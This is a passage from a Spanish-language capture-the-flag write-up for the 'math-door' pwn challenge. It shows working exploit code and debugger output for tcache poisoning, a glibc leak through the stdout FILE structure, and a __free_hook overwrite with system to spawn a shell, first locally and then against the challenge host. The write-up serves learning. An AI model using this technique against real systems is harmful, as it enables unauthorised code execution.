0x7f5860e806f0 <_IO_2_1_stdout_+80>:    0x0000000000000000      0x0000000000000000
0x7f5860e80700 <_IO_2_1_stdout_+96>:    0x0000000000000000      0x00007f5860e7f980
0x7f5860e80710 <_IO_2_1_stdout_+112>:   0x0000000000000001      0xffffffffffffffff
0x7f5860e80720 <_IO_2_1_stdout_+128>:   0x000000000a000000      0x00007f5860e817e0
0x7f5860e80730 <_IO_2_1_stdout_+144>:   0xffffffffffffffff      0x0000000000000000
0x7f5860e80740 <_IO_2_1_stdout_+160>:   0x00007f5860e7f880      0x0000000000000000
0x7f5860e80750 <_IO_2_1_stdout_+176>:   0x0000000000000000      0x0000000000000000
0x7f5860e80760 <_IO_2_1_stdout_+192>:   0x00000000ffffffff      0x0000000000000000
0x7f5860e80770 <_IO_2_1_stdout_+208>:   0x0000000000000000      0x00007f5860e7c4a0

Antes de modificar la estructura stdout, guardé algunos chunks para su uso posterior. El primero en &stdout + 0x18, mediante offsets relativos:

pwndbg> p/x 0x7f5860e806b8 - 0x7f5860e7fbe0  
$2 = 0xad8

Este es el código para eso:

    add_value(p, 4, _IO_2_1_stdout__offset + 0x18, 0, 0)  
    create(p)  # M + 4
    create(p)  # M + 5: &stdout + 0x18

Ahora tenemos la dirección en el vector chunks:

pwndbg> x/64gx &chunks
0x557f047f2060 <chunks>:        0x0000557f05e2d2a0      0x0000557f05e2d2c0
0x557f047f2070 <chunks+16>:     0x0000557f05e2d2e0      0x0000557f05e2d300
0x557f047f2080 <chunks+32>:     0x0000557f05e2d320      0x0000557f05e2d340
0x557f047f2090 <chunks+48>:     0x0000557f05e2d360      0x0000557f05e2d380
0x557f047f20a0 <chunks+64>:     0x0000557f05e2d3a0      0x0000557f05e2d3c0
0x557f047f20b0 <chunks+80>:     0x0000557f05e2d3e0      0x0000557f05e2d400
0x557f047f20c0 <chunks+96>:     0x0000557f05e2d420      0x0000557f05e2d440
0x557f047f20d0 <chunks+112>:    0x0000557f05e2d460      0x0000557f05e2d480
0x557f047f20e0 <chunks+128>:    0x0000557f05e2d4a0      0x0000557f05e2d4c0
0x557f047f20f0 <chunks+144>:    0x0000557f05e2d4e0      0x0000557f05e2d500
0x557f047f2100 <chunks+160>:    0x0000557f05e2d520      0x0000557f05e2d540
0x557f047f2110 <chunks+176>:    0x0000557f05e2d560      0x0000557f05e2d580
0x557f047f2120 <chunks+192>:    0x0000557f05e2d5a0      0x0000557f05e2d5c0
0x557f047f2130 <chunks+208>:    0x0000557f05e2d5e0      0x0000557f05e2d600
0x557f047f2140 <chunks+224>:    0x0000557f05e2d620      0x0000557f05e2d640
0x557f047f2150 <chunks+240>:    0x0000557f05e2d660      0x0000557f05e2d680
0x557f047f2160 <chunks+256>:    0x0000557f05e2d6a0      0x0000557f05e2d6c0
0x557f047f2170 <chunks+272>:    0x0000557f05e2d6e0      0x0000557f05e2d700
0x557f047f2180 <chunks+288>:    0x0000557f05e2d720      0x0000557f05e2d740
0x557f047f2190 <chunks+304>:    0x0000557f05e2d2a0      0x0000557f05e2d310
0x557f047f21a0 <chunks+320>:    0x0000557f05e2d460      0x0000557f05e2d090
0x557f047f21b0 <chunks+336>:    0x0000557f05e2d320      0x00007fe5508f56b8
0x557f047f21c0 <chunks+352>:    0x0000000000000000      0x0000000000000000
0x557f047f21d0 <chunks+368>:    0x0000000000000000      0x0000000000000000
0x557f047f21e0 <chunks+384>:    0x0000000000000000      0x0000000000000000
0x557f047f21f0 <chunks+400>:    0x0000000000000000      0x0000000000000000
0x557f047f2200 <chunks+416>:    0x0000000000000000      0x0000000000000000
0x557f047f2210 <chunks+432>:    0x0000000000000000      0x0000000000000000
0x557f047f2220 <chunks+448>:    0x0000000000000000      0x0000000000000000
0x557f047f2230 <chunks+464>:    0x0000000000000000      0x0000000000000000
0x557f047f2240 <chunks+480>:    0x0000000000000000      0x0000000000000000
0x557f047f2250 <chunks+496>:    0x0000000000000000      0x0000000000000000
pwndbg> x/4gx 0x00007fe5508f56b8
0x7fe5508f56b8 <_IO_2_1_stdout_+24>:    0x00007fe5508f5723      0x00007fe5508f5723  
0x7fe5508f56c8 <_IO_2_1_stdout_+40>:    0x00007fe5508f5723      0x00007fe5508f5723

Obsérvese que hay dos create(p) porque la primera coloca la dirección de Glibc en la cabeza del Tcache, y la siguiente usa esa dirección para asignar el chunk. Como resultado, ahora la cabeza del Tcache apunta a 0x00007fe5508f5723 (que es el valor en la esquina inferior izquierda, no el valor actual en &stdout + 0x18):

pwndbg> tcachebins
tcachebins
0x20 [  1]: 0x7fe5508f5723 (_IO_2_1_stdout_+131) ◂— 0x8f67e0000000000a /* '\n' */

El siguiente chunk que guardamos para emplearlo después es uno en __free_hook, así que calculemos el offset:

pwndbg> p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7fe5508f6e48 <__free_hook>  
pwndbg> p/x 0x7fe5508f6e48 - 0x7fe5508f5723
$2 = 0x1725

Entonces esto explica el siguiente fragmento:

    add_value(p, M + 3, 0x1725, 0, 0)  
    create(p)  # M + 6: &__free_hook

Finalmente, modifiquemos el valor de write_ptr para filtrar las direcciones de memoria (como se dijo antes):

    add_value(p, M + 5, 0, 0, 0x20)  # read_base, write_base, write_ptr  
    p.recvline()
    p.interactive()

Tendremos estas fugas:

$ python3 solve.py
[*] './math-door'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'
[+] Starting local process './math-door': pid 375902
[*] running in new terminal: ['/usr/bin/gdb', '-q', './math-door', '375902', '-x', '/tmp/pwnpvmho3a0.gdb']  
[+] Waiting for debugger: Done
[*] Switching to interactive mode
\x00\x00\xe0w\xdd\xc8W\x7f\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x80X\xdd1. Create
1. Delete
2. Add value
Action:
$

Vemos que \xe0w\xdd\xc8W\x7f es una dirección dentro de Glibc. Nótese que también aparecen los bytes \xff. Esto puede parecer familiar, y de hecho es la estructura stdout:

pwndbg> x/28gx &_IO_2_1_stdout_
0x7f57c8dd66a0 <_IO_2_1_stdout_>:       0x00000000fbad2887      0x00007f57c8dd6723  
0x7f57c8dd66b0 <_IO_2_1_stdout_+16>:    0x00007f57c8dd6723      0x00007f57c8dd6723
0x7f57c8dd66c0 <_IO_2_1_stdout_+32>:    0x00007f57c8dd6723      0x00007f57c8dd6723
0x7f57c8dd66d0 <_IO_2_1_stdout_+48>:    0x00007f57c8dd6723      0x00007f57c8dd6723
0x7f57c8dd66e0 <_IO_2_1_stdout_+64>:    0x00007f57c8dd6724      0x0000000000000000
0x7f57c8dd66f0 <_IO_2_1_stdout_+80>:    0x0000000000000000      0x0000000000000000
0x7f57c8dd6700 <_IO_2_1_stdout_+96>:    0x0000000000000000      0x00007f57c8dd5980
0x7f57c8dd6710 <_IO_2_1_stdout_+112>:   0x0000000000000001      0xffffffffffffffff
0x7f57c8dd6720 <_IO_2_1_stdout_+128>:   0x000000000a000000      0x00007f57c8dd77e0
0x7f57c8dd6730 <_IO_2_1_stdout_+144>:   0xffffffffffffffff      0x0000000000000000
0x7f57c8dd6740 <_IO_2_1_stdout_+160>:   0x00007f57c8dd5880      0x0000000000000000
0x7f57c8dd6750 <_IO_2_1_stdout_+176>:   0x0000000000000000      0x0000000000000000
0x7f57c8dd6760 <_IO_2_1_stdout_+192>:   0x00000000ffffffff      0x0000000000000000
0x7f57c8dd6770 <_IO_2_1_stdout_+208>:   0x0000000000000000      0x00007f57c8dd24a0

Específicamente, la fuga indicada anteriormente corresponde a 0x00007f57c8dd77e0, cuyo offset a la dirección base de Glibc es 0x1ee7e0:

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x561f31ded000     0x561f31dee000 r--p     1000 0      ./math-door
    0x561f31dee000     0x561f31def000 r-xp     1000 1000   ./math-door
    0x561f31def000     0x561f31df0000 r--p     1000 2000   ./math-door
    0x561f31df0000     0x561f31df1000 r--p     1000 2000   ./math-door
    0x561f31df1000     0x561f31df2000 rw-p     1000 3000   ./math-door
    0x561f31df2000     0x561f31df4000 rw-p     2000 5000   ./math-door
    0x561f32a87000     0x561f32aa8000 rw-p    21000 0      [heap]
    0x7f57c8be7000     0x7f57c8be9000 rw-p     2000 0      [anon_7f57c8be7]  
    0x7f57c8be9000     0x7f57c8c0b000 r--p    22000 0      ./libc.so.6
    0x7f57c8c0b000     0x7f57c8d83000 r-xp   178000 22000  ./libc.so.6
    0x7f57c8d83000     0x7f57c8dd1000 r--p    4e000 19a000 ./libc.so.6
    0x7f57c8dd1000     0x7f57c8dd5000 r--p     4000 1e7000 ./libc.so.6
    0x7f57c8dd5000     0x7f57c8dd7000 rw-p     2000 1eb000 ./libc.so.6
    0x7f57c8dd7000     0x7f57c8ddd000 rw-p     6000 0      [anon_7f57c8dd7]
    0x7f57c8ddd000     0x7f57c8dde000 r--p     1000 0      ./ld.so
    0x7f57c8dde000     0x7f57c8e01000 r-xp    23000 1000   ./ld.so
    0x7f57c8e01000     0x7f57c8e09000 r--p     8000 24000  ./ld.so
    0x7f57c8e0a000     0x7f57c8e0b000 r--p     1000 2c000  ./ld.so
    0x7f57c8e0b000     0x7f57c8e0c000 rw-p     1000 2d000  ./ld.so
    0x7f57c8e0c000     0x7f57c8e0d000 rw-p     1000 0      [anon_7f57c8e0c]
    0x7ffe1be91000     0x7ffe1beb2000 rw-p    21000 0      [stack]
    0x7ffe1bf53000     0x7ffe1bf57000 r--p     4000 0      [vvar]
    0x7ffe1bf57000     0x7ffe1bf59000 r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 --xp     1000 0      [vsyscall]
pwndbg> p/x 0x00007f57c8dd77e0 - 0x7f57c8be9000
$1 = 0x1ee7e0

Ahora podemos tomar esta salida y calcular la dirección base:

    data = p.recvline()
    index = data.index(b'\x7f') + 1
    glibc_leak = u64(data[index - 6 : index].ljust(8, b'\0'))  
    p.info(f'Glibc leak: {hex(glibc_leak)}')
    glibc.address = glibc_leak - 0x1ee7e0
    p.success(f'Glibc base address: {hex(glibc.address)}')

Y todo está perfecto:

$ python3 solve.py
[*] './math-door'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'
[+] Starting local process './math-door': pid 380534
[*] running in new terminal: ['/usr/bin/gdb', '-q', './math-door', '380534', '-x', '/tmp/pwnktj_cn67.gdb']  
[+] Waiting for debugger: Done
[*] Glibc leak: 0x7f17763707e0
[+] Glibc base address: 0x7f1776182000
[*] Switching to interactive mode
1. Delete
2. Add value
Action:
$

Obteniendo RCE

Esta parte es fácil porque ya tenemos un chunk en __free_hook:

pwndbg> x/64gx &chunks
0x55d9349ee060 <chunks>:        0x000055d9350332a0      0x000055d9350332c0  
0x55d9349ee070 <chunks+16>:     0x000055d9350332e0      0x000055d935033300
0x55d9349ee080 <chunks+32>:     0x000055d935033320      0x000055d935033340
0x55d9349ee090 <chunks+48>:     0x000055d935033360      0x000055d935033380
0x55d9349ee0a0 <chunks+64>:     0x000055d9350333a0      0x000055d9350333c0
0x55d9349ee0b0 <chunks+80>:     0x000055d9350333e0      0x000055d935033400
0x55d9349ee0c0 <chunks+96>:     0x000055d935033420      0x000055d935033440
0x55d9349ee0d0 <chunks+112>:    0x000055d935033460      0x000055d935033480
0x55d9349ee0e0 <chunks+128>:    0x000055d9350334a0      0x000055d9350334c0
0x55d9349ee0f0 <chunks+144>:    0x000055d9350334e0      0x000055d935033500
0x55d9349ee100 <chunks+160>:    0x000055d935033520      0x000055d935033540
0x55d9349ee110 <chunks+176>:    0x000055d935033560      0x000055d935033580
0x55d9349ee120 <chunks+192>:    0x000055d9350335a0      0x000055d9350335c0
0x55d9349ee130 <chunks+208>:    0x000055d9350335e0      0x000055d935033600
0x55d9349ee140 <chunks+224>:    0x000055d935033620      0x000055d935033640
0x55d9349ee150 <chunks+240>:    0x000055d935033660      0x000055d935033680
0x55d9349ee160 <chunks+256>:    0x000055d9350336a0      0x000055d9350336c0
0x55d9349ee170 <chunks+272>:    0x000055d9350336e0      0x000055d935033700
0x55d9349ee180 <chunks+288>:    0x000055d935033720      0x000055d935033740
0x55d9349ee190 <chunks+304>:    0x000055d9350332a0      0x000055d935033310
0x55d9349ee1a0 <chunks+320>:    0x000055d935033460      0x000055d935033090
0x55d9349ee1b0 <chunks+336>:    0x000055d935033320      0x00007f177636f6b8
0x55d9349ee1c0 <chunks+352>:    0x00007f1776370e48      0x0000000000000000
0x55d9349ee1d0 <chunks+368>:    0x0000000000000000      0x0000000000000000
0x55d9349ee1e0 <chunks+384>:    0x0000000000000000      0x0000000000000000
0x55d9349ee1f0 <chunks+400>:    0x0000000000000000      0x0000000000000000
0x55d9349ee200 <chunks+416>:    0x0000000000000000      0x0000000000000000
0x55d9349ee210 <chunks+432>:    0x0000000000000000      0x0000000000000000
0x55d9349ee220 <chunks+448>:    0x0000000000000000      0x0000000000000000
0x55d9349ee230 <chunks+464>:    0x0000000000000000      0x0000000000000000
0x55d9349ee240 <chunks+480>:    0x0000000000000000      0x0000000000000000
0x55d9349ee250 <chunks+496>:    0x0000000000000000      0x0000000000000000
pwndbg> x 0x00007f1776370e48
0x7f1776370e48 <__free_hook>:   0x0000000000000000

Entonces, solo necesitamos ingresar la dirección de system (no se necesitan offsets porque el valor actual aquí es 0). Luego, ponemos "/bin/sh\0" como un número en cualquier chunk, de manera que al llamar a free sobre él realmente se llamará a system sobre el chunk, que contendrá la cadena "/bin/sh\0".

    add_value(p, M + 6, glibc.sym.system, 0, 0)  
    add_value(p, 25, u64(b'/bin/sh\0'), 0, 0)
    delete(p, 25)
    p.recv(timeout=2)

    p.interactive()

Y con esto, obtenemos una shell localmente:

$ python3 solve.py
[*] './math-door'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'
[+] Starting local process './math-door': pid 385181  
[*] Glibc leak: 0x7f8fdee167e0
[+] Glibc base address: 0x7f8fdec28000
[*] Switching to interactive mode
$ whoami
rocky

Flag

Vamos a probar en remoto:

$ python3 solve.py 68.183.45.143:32186
[*] './math-door'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'
[+] Opening connection to 68.183.45.143 on port 32186: Done  
[*] Glibc leak: 0x7f2c8d1e67e0
[+] Glibc base address: 0x7f2c8cff8000
[*] Switching to interactive mode
$ ls
bin
dev
flag.txt
ld.so
lib
lib32
lib64
libc.so.6
math-door
$ cat flag.txt
HTB{y0ur_m4th_1s_fr0m_4n0th3r_w0rld!}

El exploit completo se puede encontrar aquí: solve.py.